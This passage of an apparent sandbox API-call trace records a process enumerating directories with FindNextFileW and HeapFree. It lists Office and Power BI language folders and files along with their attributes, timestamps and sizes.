ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0247.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.245] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0247.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.247] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0247.249] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.249] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0247.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.250] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0247.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.252] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0247.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.254] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0247.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.256] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0247.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.258] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0247.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.260] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0247.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.262] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0247.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0247.264] FindNextFileW (in: hFindFile=0x6eb6f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0247.264] FindClose (in: hFindFile=0x6eb6f0 | out: hFindFile=0x6eb6f0) returned 1 [0247.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0247.264] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0247.264] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0247.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0247.265] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0247.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0247.465] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0247.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.857] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0247.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.861] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0247.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.864] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0247.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.868] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0247.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.871] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0247.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.875] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0247.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.878] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0247.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.882] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0247.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0247.885] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0248.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.209] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0248.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.418] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0248.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.422] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0248.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.425] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0248.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.429] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0248.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.431] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0248.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.434] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0248.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.444] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0248.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.507] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0248.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.739] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0248.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.745] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0248.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.749] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0248.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.756] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0248.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.761] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0248.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.767] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0248.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.770] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, 